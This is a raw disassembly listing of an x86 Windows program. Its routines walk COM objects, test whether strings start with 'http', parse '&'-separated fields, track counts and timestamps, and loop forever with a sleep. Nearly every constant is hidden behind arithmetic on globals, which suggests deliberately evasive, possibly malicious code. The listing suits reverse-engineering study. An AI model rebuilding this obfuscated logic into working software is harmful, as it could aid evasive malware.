; ---------------------------------------------------------------------------
loc_441C33: ; CODE XREF: sub_441B74+B8j
movsx eax, word_54F0C4
add eax, dword_54F0E8
sub eax, 7
mov [ebp+var_8], eax
jmp loc_441D28
; ---------------------------------------------------------------------------
loc_441C4B: ; CODE XREF: sub_441B74+1BAj
mov eax, [ebp+var_8]
mov [ebp+var_30], eax
mov [ebp+var_38], 3
lea eax, [ebp+var_3C]
push eax
lea esi, [ebp+var_38]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, dword_54F2E8
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, dword_54F0F0
add eax, dword_54F16C
sub eax, 8
cmp ebx, eax
jnz loc_441D25
lea eax, [ebp+var_40]
push eax
push offset dword_550AA8
mov eax, [ebp+var_3C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_54F22C
add eax, dword_54F0D8
sub eax, 0Dh
cmp ebx, eax
jnz short loc_441D1C
lea eax, off_54F2E4
mov [ebp+var_24], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_44]
push eax
push offset dword_5509E8
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
cmp ebx, dword_54F0BC
jnz short loc_441D0A
lea eax, [ebp+var_48]
push eax
push offset dword_5509E8
push [ebp+var_44]
push [ebp+var_40]
call sub_43D748
add esp, 10h
mov [ebp+var_4C], eax
mov eax, [ebp+var_44]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_441D0A: ; CODE XREF: sub_441B74+171j
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_441D1C: ; CODE XREF: sub_441B74+142j
mov eax, [ebp+var_3C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_441D25: ; CODE XREF: sub_441B74+114j
inc [ebp+var_8]
loc_441D28: ; CODE XREF: sub_441B74+D2j
mov eax, [ebp+var_C]
cmp [ebp+var_8], eax
jb loc_441C4B
loc_441D34: ; CODE XREF: sub_441B74:loc_441C2Ej
lea eax, off_54F308
mov [ebp+var_10], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_14]
push eax
push offset dword_5509D8
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr ds:0[esi]
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr [esi+8]
lea eax, [ebp+var_1C]
push eax
push offset dword_5509D8
push [ebp+var_14]
push dword_54F2E8
call sub_43D748
add esp, 10h
mov [ebp+var_18], eax
mov eax, dword_54F1F8
movsx edx, word_54F198
add eax, edx
sub eax, 4
cmp [ebp+var_18], eax
jnz short loc_441DAD
mov eax, dword_54F2E8
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, dword_54F14C
sub eax, 2
mov dword_54F2E8, eax
loc_441DAD: ; CODE XREF: sub_441B74+8Aj
; sub_441B74+21Fj
pop edi
pop esi
pop ebx
leave
retn
sub_441B74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441DB2 proc near ; CODE XREF: sub_440B06+2p
; sub_440B06+9p
var_104 = byte ptr -104h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push edi
lea eax, [ebp+var_104]
push eax
movsx eax, word_54F0FC
sub eax, 2
push eax
mov eax, dword_54F224
movsx edx, word_54F094
add eax, edx
sub eax, 3
push eax
push [ebp+arg_0]
mov eax, dword_54F120
sub eax, 8
push eax
call ds:dword_489A00
mov edi, eax
or edi, edi
jnz short loc_441E23
push offset word_54F7FA
call sub_43AAF7
push eax
lea edi, [ebp+var_104]
push edi
call ds:dword_44602C
push 1
push 43h
lea eax, [ebp+var_104]
push eax
call sub_43E77A
add esp, 18h
loc_441E23: ; CODE XREF: sub_441DB2+44j
pop edi
leave
retn
sub_441DB2 endp
; =============== S U B R O U T I N E =======================================
sub_441E26 proc near ; DATA XREF: .data:0054F2BCo
mov eax, 80004001h
retn 18h
sub_441E26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441E2E proc near ; CODE XREF: sub_441843+1CFp
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
push 0
push 0
push 3
push 0
push 0
push 80000000h
push offset dword_4CA230
call ds:dword_54DB18
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_441E78
mov eax, dword_54F0D8
sub eax, 6
mov edx, dword_54F0A0
add edx, dword_54F1BC
sub edx, 9
mov [esi+eax], dl
jmp loc_441F01
; ---------------------------------------------------------------------------
loc_441E78: ; CODE XREF: sub_441E2E+29j
push 0
movsx eax, word_54F1CC
sub eax, 9
push eax
push [ebp+arg_4]
push edi
call ds:dword_54DF30
mov eax, dword_54F184
movsx edx, word_54F0B4
add eax, edx
sub eax, 9
push eax
lea eax, [ebp+var_4]
push eax
movsx eax, word_54F148
movsx edx, word_54F144
lea eax, [eax+edx+0Fh]
push eax
push esi
push edi
call ds:dword_446034
mov ebx, eax
push edi
call ds:dword_4CB948
movsx eax, word_54F128
movsx edx, word_54F118
add eax, edx
sub eax, 0Dh
cmp ebx, eax
jnz short loc_441F01
mov eax, dword_54F0AC
add eax, dword_54F1E4
sub eax, 0Bh
movsx edx, word_54F0C4
add edx, dword_54F0B0
sub edx, 0Bh
mov [esi+eax], dl
loc_441F01: ; CODE XREF: sub_441E2E+45j
; sub_441E2E+B0j
pop edi
pop esi
pop ebx
leave
retn
sub_441E2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441F06 proc near ; CODE XREF: sub_44526D+1Ep
; sub_44526D+259p
var_10088 = dword ptr -10088h
var_10084 = dword ptr -10084h
var_10080 = dword ptr -10080h
var_1007C = dword ptr -1007Ch
var_10078 = word ptr -10078h
var_10070 = dword ptr -10070h
var_10064 = dword ptr -10064h
var_10060 = dword ptr -10060h
var_1005C = dword ptr -1005Ch
var_10055 = byte ptr -10055h
var_10054 = dword ptr -10054h
var_10050 = dword ptr -10050h
var_1004C = dword ptr -1004Ch
var_10048 = dword ptr -10048h
var_10044 = dword ptr -10044h
var_1003F = byte ptr -1003Fh
var_40 = word ptr -40h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 10088h
call sub_4455B4
push ebx
push esi
push edi
push offset dword_54F7EC
call sub_43DEC5
pop ecx
push eax
call ds:dword_44700C
mov [ebp+var_38], eax
mov [ebp+var_40], 8
lea eax, [ebp+var_2C]
push eax
lea esi, [ebp+var_40]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_4]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
mov eax, dword_54F188
sub eax, 5
cmp ebx, eax
jz short loc_441F62
xor eax, eax
jmp loc_44266C
; ---------------------------------------------------------------------------
loc_441F62: ; CODE XREF: sub_441F06+53j
lea eax, [ebp+var_24]
push eax
push offset dword_550A38
mov eax, [ebp+var_2C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_54F0EC
dec eax
cmp ebx, eax
jnz loc_442661
lea eax, [ebp+var_28]
push eax
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
mov eax, dword_54F0E0
sub eax, 6
cmp ebx, eax
jnz loc_442658
mov eax, dword_54F158
sub eax, 3
mov [ebp+var_1C], eax
jmp loc_44264C
; ---------------------------------------------------------------------------
loc_441FB7: ; CODE XREF: sub_441F06+74Cj
mov eax, [ebp+var_1C]
mov [ebp+var_10], eax
mov [ebp+var_18], 2
lea eax, [ebp+var_4]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_24]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov eax, dword_54F158
sub eax, 3
cmp ebx, eax
jnz loc_442649
mov eax, dword_54F204
movsx edx, word_54F0CC
add eax, edx
sub eax, 3
mov [ebp+var_10044], eax
lea eax, [ebp+var_10044]
push eax
push offset dword_550A48
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_54F13C
sub eax, 9
cmp ebx, eax
jnz loc_442615
cmp [ebp+var_10044], 0
jz loc_442615
lea eax, [ebp+var_20]
push eax
mov eax, [ebp+var_10044]
push eax
mov edi, [eax]
call dword ptr [edi+0F8h]
mov ebx, eax
or ebx, ebx
jnz loc_442615
lea eax, [ebp+var_1003F]
push eax
push [ebp+var_20]
call sub_43BBFE
mov eax, dword_54F12C
sub eax, 7
push eax
push offset dword_48A200
lea eax, [ebp+var_1003F]
push eax
call sub_43DE22
add esp, 14h
mov edi, dword_54F20C
add edi, 0FFFBh
add edi, dword_54F238
cmp eax, edi
jz loc_442615
movsx eax, word_54F1E8
sub eax, 6
cmp [ebp+arg_8], eax
jnz short loc_4420E0
mov eax, [ebp+var_10044]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
inc eax
jmp loc_44266C
; ---------------------------------------------------------------------------
loc_4420E0: ; CODE XREF: sub_441F06+1BBj
movsx eax, word_54F194
add eax, dword_54F1C8
sub eax, 9
mov [ebp+var_1007C], eax
lea eax, [ebp+var_1007C]
push eax
push offset dword_550A68
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_54F0F8
sub eax, 5
cmp ebx, eax
jnz loc_442615
mov [ebp+var_10055], 44h
push offset word_54F7E2
call sub_43AAF7
movsx edi, word_54F218
movsx esi, word_54F128
add edi, esi
sub edi, 4
push edi
push eax
lea edi, [ebp+var_1003F]
push edi
call sub_43DE22
add esp, 10h
movsx esi, word_54F190
add esi, 0FFF7h
cmp eax, esi
jz short loc_442170
mov [ebp+var_10055], 50h
loc_442170: ; CODE XREF: sub_441F06+261j
push offset word_54F7DA
call sub_43AAF7
movsx edi, word_54F208
push edi
push eax
lea edi, [ebp+var_1003F]
push edi
call sub_43DE22
add esp, 10h
mov esi, dword_54F0C0
add esi, 0FFFDh
cmp eax, esi
jz short loc_4421A9
mov [ebp+var_10055], 43h
loc_4421A9: ; CODE XREF: sub_441F06+29Aj
push offset word_54F7D2
call sub_43AAF7
mov edi, dword_54F0EC
add edi, dword_54F11C
sub edi, 2
push edi
push eax
lea edi, [ebp+var_1003F]
push edi
call sub_43DE22
add esp, 10h
mov esi, dword_54F1B0
sub esi, 3
mov edi, eax
add edi, esi
mov [ebp+var_10064], edi
mov [ebp+var_10050], edi
loc_4421EC: ; CODE XREF: sub_441F06+2FCj
mov eax, [ebp+var_10050]
cmp [ebp+eax+var_1003F], 26h
jz short loc_442204
inc [ebp+var_10050]
jmp short loc_4421EC
; ---------------------------------------------------------------------------
loc_442204: ; CODE XREF: sub_441F06+2F4j
mov eax, [ebp+var_10050]
mov edx, dword_54F0A4
sub edx, 7
mov [ebp+eax+var_1003F], dl
mov eax, [ebp+var_10064]
lea eax, [ebp+eax+var_1003F]
push eax
call ds:dword_44701C
mov [ebp+var_10080], eax
push offset byte_54F7CB
call sub_43AAF7
movsx edi, word_54F244
add edi, dword_54F180
sub edi, 6
push edi
push eax
lea edi, [ebp+var_1003F]
push edi
call sub_43DE22
add esp, 14h
mov esi, dword_54F170
add esi, dword_54F180
dec esi
mov edi, eax
add edi, esi
mov [ebp+var_10064], edi
mov [ebp+var_10050], edi
loc_44227C: ; CODE XREF: sub_441F06+38Cj
mov eax, [ebp+var_10050]
cmp [ebp+eax+var_1003F], 26h
jz short loc_442294
inc [ebp+var_10050]
jmp short loc_44227C
; ---------------------------------------------------------------------------
loc_442294: ; CODE XREF: sub_441F06+384j
mov eax, [ebp+var_10050]
mov edx, dword_54F174
sub edx, 7
mov [ebp+eax+var_1003F], dl
mov eax, [ebp+var_10064]
lea eax, [ebp+eax+var_1003F]
push eax
call ds:dword_44701C
pop ecx
mov [ebp+var_1005C], eax
mov eax, dword_54F234
add eax, dword_54F20C
sub eax, 0Ch
cmp [ebp+var_10080], eax
ja short loc_442355
mov eax, dword_54F0BC
mov [ebp+var_10048], eax
jmp short loc_442339
; ---------------------------------------------------------------------------
loc_4422E8: ; CODE XREF: sub_441F06+44Dj
mov edi, [ebp+var_10048]
mov esi, edi
shl esi, 2
movsx edx, word_54F128
sub edx, 5
cmp ds:dword_4480E0[esi], edx
jz short loc_442333
mov edx, [ebp+var_1005C]
cmp ds:dword_447020[esi], edx
jnz short loc_442333
mov dl, ds:byte_4491B0[edi]
cmp dl, [ebp+var_10055]
jnz short loc_442333
movsx esi, word_54F208
dec esi
mov ds:dword_4480E0[edi*4], esi
loc_442333: ; CODE XREF: sub_441F06+3FEj
; sub_441F06+40Dj ...
inc [ebp+var_10048]
loc_442339: ; CODE XREF: sub_441F06+3E0j
movsx eax, word_54F0A8
mov edx, dword_54F1FC
lea eax, [eax+edx+3E8h]
cmp [ebp+var_10048], eax
jb short loc_4422E8
loc_442355: ; CODE XREF: sub_441F06+3D3j
call ds:dword_54CA70
mov [ebp+var_10060], eax
mov eax, dword_54F1EC
movsx edx, word_54F1C4
add eax, edx
sub eax, 0Bh
mov [ebp+var_1004C], eax
jmp short loc_4423E4
; ---------------------------------------------------------------------------
loc_44237A: ; CODE XREF: sub_441F06+4F4j
mov edi, [ebp+var_1004C]
shl edi, 2
movsx esi, word_54F164
dec esi
cmp ds:dword_4480E0[edi], esi
jz short loc_4423DE
mov edi, ds:dword_4CB950[edi]
mov esi, dword_54F1DC
add esi, 0EA60h
mov edx, dword_54F0C0
inc edx
add edx, dword_54F1AC
imul esi, edx
add edi, esi
cmp edi, [ebp+var_10060]
jnb short loc_4423DE
mov edi, [ebp+var_1004C]
movsx esi, word_54F194
add esi, dword_54F0DC
sub esi, 5
mov ds:dword_4480E0[edi*4], esi
loc_4423DE: ; CODE XREF: sub_441F06+48Cj
; sub_441F06+4B9j
inc [ebp+var_1004C]
loc_4423E4: ; CODE XREF: sub_441F06+472j
mov eax, dword_54F0DC
add eax, 3DFh
add eax, dword_54F0D4
cmp [ebp+var_1004C], eax
jb loc_44237A
mov eax, dword_54F200
add eax, dword_54F1FC
sub eax, 5
mov [ebp+var_10054], eax
jmp short loc_44243A
; ---------------------------------------------------------------------------
loc_442416: ; CODE XREF: sub_441F06+54Dj
mov edi, [ebp+var_10054]
mov esi, dword_54F11C
add esi, dword_54F1B4
sub esi, 6
cmp ds:dword_4480E0[edi*4], esi
jz short loc_442455
inc [ebp+var_10054]
loc_44243A: ; CODE XREF: sub_441F06+50Ej
mov eax, dword_54F14C
add eax, 3DDh
movsx edx, word_54F13C
add eax, edx
cmp [ebp+var_10054], eax
jb short loc_442416
loc_442455: ; CODE XREF: sub_441F06+52Cj
mov edi, [ebp+var_10054]
mov esi, [ebp+var_1005C]
mov ds:dword_447020[edi*4], esi
mov esi, [ebp+arg_0]
mov ds:dword_446060[edi*4], esi
mov eax, edi
mov dl, [ebp+var_10055]
mov ds:byte_4491B0[eax], dl
movsx eax, word_54F1A8
add eax, dword_54F19C
sub eax, 4
cmp [ebp+var_10080], eax
jbe loc_44255F
mov esi, dword_54F1EC
add esi, 0FFFCh
movsx edx, word_54F218
add esi, edx
mov ds:word_489A10[edi*2], si
mov eax, dword_54F154
add eax, dword_54F220
sub eax, 0Ah
mov [ebp+var_10088], eax
jmp short loc_442547
; ---------------------------------------------------------------------------
loc_4424D0: ; CODE XREF: sub_441F06+651j
mov edi, [ebp+var_10088]
mov esi, edi
shl esi, 2
mov edx, dword_54F154
movsx ecx, word_54F190
add edx, ecx
sub edx, 10h
cmp ds:dword_4480E0[esi], edx
jz short loc_442541
movzx edx, ds:word_489A10[edi*2]
mov ecx, dword_54F178
add ecx, 0FFF6h
movsx eax, word_54F1A8
add ecx, eax
cmp edx, ecx
jz short loc_442541
mov edx, [ebp+var_1005C]
cmp ds:dword_447020[esi], edx
jnz short loc_442541
mov dl, ds:byte_4491B0[edi]
cmp dl, [ebp+var_10055]
jnz short loc_442541
lea edi, ds:489A10h[edi*2]
inc word ptr [edi]
jmp short loc_44257C
; ---------------------------------------------------------------------------
loc_442541: ; CODE XREF: sub_441F06+5EEj
; sub_441F06+60Fj ...
inc [ebp+var_10088]
loc_442547: ; CODE XREF: sub_441F06+5C8j
mov eax, dword_54F0B8
add eax, 3E4h
cmp [ebp+var_10088], eax
jb loc_4424D0
jmp short loc_44257C
; ---------------------------------------------------------------------------
loc_44255F: ; CODE XREF: sub_441F06+591j
mov edi, [ebp+var_10054]
mov esi, dword_54F1BC
add esi, dword_54F188
sub esi, 0Ah
mov ds:word_489A10[edi*2], si
loc_44257C: ; CODE XREF: sub_441F06+639j
; sub_441F06+657j
call ds:dword_54CA70
mov edi, [ebp+var_10054]
mov ds:dword_4CB950[edi*4], eax
lea esi, off_54F2A8
mov ds:dword_4480E0[edi*4], esi
mov edi, [ebp+var_10054]
lea edi, ds:4480E0h[edi*4]
mov [ebp+var_10084], edi
mov eax, edi
push eax
mov esi, [eax]
call dword ptr [esi+4]
mov edi, [ebp+var_10054]
lea edi, ds:4480E0h[edi*4]
mov [ebp+var_10070], edi
mov [ebp+var_10078], 9
lea esi, [ebp+var_10078]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_1007C]
push edi
mov edi, [edi]
call dword ptr [edi+0A4h]
mov ebx, eax
lea eax, [ebp+var_10078]
push eax
call ds:dword_54E044
inc [ebp+var_10054]
mov eax, [ebp+var_1007C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_442615: ; CODE XREF: sub_441F06+138j
; sub_441F06+145j ...
mov eax, dword_54F1A0
sub eax, 8
cmp [ebp+var_10044], eax
jz short loc_442631
mov eax, [ebp+var_10044]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_442631: ; CODE XREF: sub_441F06+71Dj
movsx eax, word_54F240
sub eax, 8
cmp [ebp+var_4], eax
jz short loc_442649
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_442649: ; CODE XREF: sub_441F06+F4j
; sub_441F06+738j
inc [ebp+var_1C]
loc_44264C: ; CODE XREF: sub_441F06+ACj
mov eax, [ebp+var_28]
cmp [ebp+var_1C], eax
jb loc_441FB7
loc_442658: ; CODE XREF: sub_441F06+9Bj
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_442661: ; CODE XREF: sub_441F06+7Cj
mov eax, [ebp+var_2C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
loc_44266C: ; CODE XREF: sub_441F06+57j
; sub_441F06+1D5j
pop edi
pop esi
pop ebx
leave
retn
sub_441F06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442671 proc near ; CODE XREF: sub_44293B:loc_44293Ep
var_252 = byte ptr -252h
var_236 = dword ptr -236h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
push edi
lea eax, [ebp+var_114]
push eax
movsx eax, word_54F1C4
sub eax, 8
push eax
mov eax, dword_54F154
sub eax, 8
push eax
push 21h
movsx eax, word_54F164
dec eax
push eax
call ds:dword_489A00
mov ebx, eax
or ebx, ebx
jnz loc_4427C8
lea eax, [ebp+var_10]
push eax
call ds:dword_4CA430
mov eax, dword_54F0DC
movzx edx, [ebp+var_6]
movzx ecx, [ebp+var_8]
mov ebx, dword_54F1BC
add ebx, 36h
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_A]
movsx ebx, word_54F144
mov esi, dword_54F0E8
lea ebx, [ebx+esi+13h]
imul ecx, ebx
movsx ebx, word_54F240
add ebx, 34h
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_E]
movsx ebx, word_54F118
mov esi, dword_54F1D0
lea ebx, [ebx+esi+0Fh]
imul ecx, ebx
mov ebx, dword_54F14C
add ebx, 15h
movsx esi, word_54F148
add ebx, esi
imul ecx, ebx
movsx ebx, word_54F13C
mov esi, dword_54F124
lea ebx, [ebx+esi+31h]
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_10]
mov ebx, dword_54F0DC
add ebx, 8
imul ecx, ebx
mov ebx, dword_54F188
add ebx, 11h
add ebx, dword_54F154
imul ecx, ebx
movsx ebx, word_54F0F8
lea eax, [ebx+eax+0Fh]
imul ecx, eax
mov eax, dword_54F1B8
add eax, 34h
add eax, dword_54F150
imul ecx, eax
mov eax, edx
add eax, ecx
mov ds:dword_446030, eax
mov eax, dword_54F22C
add eax, dword_54F180
sub eax, 6
mov [ebp+var_236], eax
lea esi, [ebp+var_252]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_114]
push edi
call sub_43BE84
add esp, 144h
loc_4427C8: ; CODE XREF: sub_442671+3Cj
pop edi
pop esi
pop ebx
leave
retn
sub_442671 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4427CD proc near ; CODE XREF: sub_43BA83+5Bp
var_1007 = byte ptr -1007h
var_1006 = byte ptr -1006h
var_1002 = byte ptr -1002h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_4455B4
push ebx
push esi
push edi
push offset byte_54F7B9
call sub_43AAF7
pop ecx
mov esi, dword_54F228
sub esi, 8
push esi
push eax
movsx esi, word_54F210
sub esi, 5
push esi
push [ebp+arg_0]
call ds:dword_50C930
mov edi, eax
mov eax, dword_54F204
sub eax, 2
cmp edi, eax
jnz short loc_442818
mov edi, [ebp+arg_0]
loc_442818: ; CODE XREF: sub_4427CD+46j
push offset byte_54F7A3
call sub_43AAF7
pop ecx
mov esi, dword_54F180
movsx ebx, word_54F240
add esi, ebx
sub esi, 8
push esi
push eax
movsx esi, word_54F0B4
add esi, dword_54F158
sub esi, 8
push esi
push edi
call ds:dword_50C930
mov edi, eax
lea eax, [ebp+var_FFF]
push eax
push 0FFFh
push 0Dh
push edi
call ds:dword_446018
mov eax, dword_54F090
add eax, dword_54F1B4
cmp [ebp+eax+var_1007], 20h
jnz short loc_44288E
mov eax, dword_54F20C
cmp [ebp+eax+var_1002], 20h
jz loc_44291E
loc_44288E: ; CODE XREF: sub_4427CD+ACj
lea ecx, [ebp+var_FFF]
or eax, 0FFFFFFFFh
loc_442897: ; CODE XREF: sub_4427CD+CFj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_442897
mov ebx, dword_54F0EC
add ebx, 0Ch
cmp eax, ebx
jb short loc_44291E
mov eax, dword_54F0AC
cmp [ebp+eax+var_1006], 68h
jnz short loc_4428C9
mov eax, dword_54F24C
cmp [ebp+eax+var_1007], 74h
jz short loc_44291E
loc_4428C9: ; CODE XREF: sub_4427CD+EBj
push offset word_54F79E
call sub_43AAF7
movsx esi, word_54F164
add esi, 3
push esi
push eax
lea esi, [ebp+var_FFF]
push esi
call sub_43DE22
add esp, 10h
movsx ebx, word_54F0A8
add ebx, 0FFFFh
cmp eax, ebx
jnz short loc_44291E
push offset dword_54F798
call sub_43AAF7
pop ecx
push eax
mov esi, dword_54F1E4
sub esi, 4
push esi
push 0Ch
push edi
call ds:dword_446018
loc_44291E: ; CODE XREF: sub_4427CD+BBj
; sub_4427CD+DCj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4427CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442923 proc near ; CODE XREF: sub_43C397+4Ap
; sub_43C397+5Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edi
push [ebp+arg_0]
push dword_54F258
call ds:dword_4491AC
mov edi, eax
pop edi
pop ebp
retn
sub_442923 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_44293B proc near ; DATA XREF: sub_441843+19Ao
push ebp
mov ebp, esp
loc_44293E: ; CODE XREF: sub_44293B+2Dj
call sub_442671
mov eax, dword_54F204
add eax, 76h
mov edx, dword_54F0E0
add edx, 0EA58h
add edx, dword_54F124
imul eax, edx
push eax
call ds:dword_50C924
pop ecx
jmp short loc_44293E
sub_44293B endp
; ---------------------------------------------------------------------------
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44296E proc near ; CODE XREF: sub_4394E9+1Fp
var_71F16 = byte ptr -71F16h
var_71F14 = dword ptr -71F14h
var_71F10 = dword ptr -71F10h
var_71F0B = byte ptr -71F0Bh
var_70F0C = dword ptr -70F0Ch
var_70F08 = word ptr -70F08h
var_70F00 = dword ptr -70F00h
var_70EF4 = dword ptr -70EF4h
var_70EEF = byte ptr -70EEFh
var_60EF0 = word ptr -60EF0h
var_60EE8 = dword ptr -60EE8h
var_60EDD = byte ptr -60EDDh
var_60EDC = dword ptr -60EDCh
var_60ED8 = dword ptr -60ED8h
var_60ED4 = dword ptr -60ED4h
var_60ED0 = word ptr -60ED0h
var_60EC8 = dword ptr -60EC8h
var_60EC0 = dword ptr -60EC0h
var_60EBC = dword ptr -60EBCh
var_60EB8 = dword ptr -60EB8h
var_60EB4 = dword ptr -60EB4h
var_60EB0 = dword ptr -60EB0h
var_60EAC = dword ptr -60EACh
var_60EA8 = dword ptr -60EA8h
var_60EA4 = dword ptr -60EA4h
var_60E9F = byte ptr -60E9Fh
var_50EAC = byte ptr -50EACh
var_50EA0 = dword ptr -50EA0h
var_50E9B = byte ptr -50E9Bh
var_40EB8 = byte ptr -40EB8h
var_40EB0 = dword ptr -40EB0h
var_40EA8 = word ptr -40EA8h
var_40EA0 = dword ptr -40EA0h
var_40E9C = dword ptr -40E9Ch
var_40E98 = dword ptr -40E98h
var_40E94 = byte ptr -40E94h
var_40E90 = dword ptr -40E90h
var_40E8C = dword ptr -40E8Ch
var_40E88 = dword ptr -40E88h
var_40E84 = dword ptr -40E84h
var_40E80 = byte ptr -40E80h
var_40E78 = dword ptr -40E78h
var_40E70 = dword ptr -40E70h
var_40E6C = dword ptr -40E6Ch
var_40E68 = dword ptr -40E68h
var_40E64 = dword ptr -40E64h
var_40E60 = dword ptr -40E60h
var_40E5C = dword ptr -40E5Ch
var_40E57 = byte ptr -40E57h
var_40E56 = byte ptr -40E56h
var_40E55 = byte ptr -40E55h
var_40E54 = byte ptr -40E54h
var_30E58 = dword ptr -30E58h
var_30E54 = dword ptr -30E54h
var_30E50 = dword ptr -30E50h
var_30E4C = dword ptr -30E4Ch
var_30E48 = dword ptr -30E48h
var_30E44 = dword ptr -30E44h
var_30E3F = byte ptr -30E3Fh
var_30D4A = byte ptr -30D4Ah
var_30D44 = byte ptr -30D44h
var_30D40 = byte ptr -30D40h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 71F14h
call sub_4455B4
push ebx
push esi
push edi
lea eax, [ebp+var_40E80]
push eax
call ds:dword_446048
lea eax, [ebp+var_40E94]
push eax
lea eax, [ebp+var_40E80]
push eax
push 9
mov eax, dword_54F1E4
sub eax, 4
push eax
push [ebp+arg_0]
call ds:dword_4CA224
mov ebx, eax
mov eax, dword_54F100
add eax, dword_54F220
sub eax, 0Bh
cmp ebx, eax
jnz loc_4437C5
mov eax, dword_54F0E0
sub eax, 6
mov [ebp+var_40E60], eax
mov ecx, [ebp+var_40E78]
mov [ebp+var_40E64], ecx
lea ecx, [ebp+var_40E60]
push ecx
push offset dword_550AA8
mov eax, [ebp+var_40E64]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_54F234
add eax, dword_54F14C
sub eax, 0Ah
cmp ebx, eax
jnz loc_4437C5
lea eax, [ebp+var_40E84]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+78h]
mov ebx, eax
mov eax, dword_54F0BC
add eax, dword_54F1E0
sub eax, 4
cmp ebx, eax
jnz loc_4437B9
lea eax, [ebp+var_40E57]
push eax
push [ebp+var_40E84]
call sub_43BBFE
add esp, 8
mov edi, eax
inc edi
mov [ebp+var_40E98], edi
push [ebp+var_40E84]
call ds:dword_54DF34
cmp [ebp+var_40E57], 68h
jnz short loc_442A8C
cmp [ebp+var_40E56], 74h
jnz short loc_442A8C
cmp [ebp+var_40E55], 74h
jnz short loc_442A8C
cmp [ebp+var_40E54], 70h
jz short loc_442A91
loc_442A8C: ; CODE XREF: sub_44296E+101j
; sub_44296E+10Aj ...
jmp loc_4437B9
; ---------------------------------------------------------------------------
loc_442A91: ; CODE XREF: sub_44296E+11Cj
lea eax, [ebp+var_30E4C]
push eax
mov eax, [ebp+var_40E60]
push eax
mov edi, [eax]
call dword ptr [edi+94h]
mov ebx, eax
mov eax, dword_54F184
add eax, dword_54F18C
sub eax, 5
cmp ebx, eax
jz short loc_442ACC
mov eax, dword_54F180
add eax, dword_54F0BC
mov [ebp+var_30E4C], eax
loc_442ACC: ; CODE XREF: sub_44296E+14Bj
